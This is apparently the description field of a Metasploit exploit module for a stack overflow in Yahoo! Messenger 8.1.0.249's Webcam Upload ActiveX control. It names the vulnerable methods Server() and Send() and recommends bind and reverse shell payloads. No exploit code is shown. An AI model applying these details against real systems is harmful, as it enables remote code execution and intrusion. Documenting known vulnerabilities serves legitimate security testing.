'Description' => %q{  
This module exploits a stack overflow in the Yahoo! Webcam Upload ActiveX  
Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.   
By sending a overly long string to the "Server()" method, and then calling  
the "Send()" method, an attacker may be able to execute arbitrary code.  
Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"  
yield for the best results.
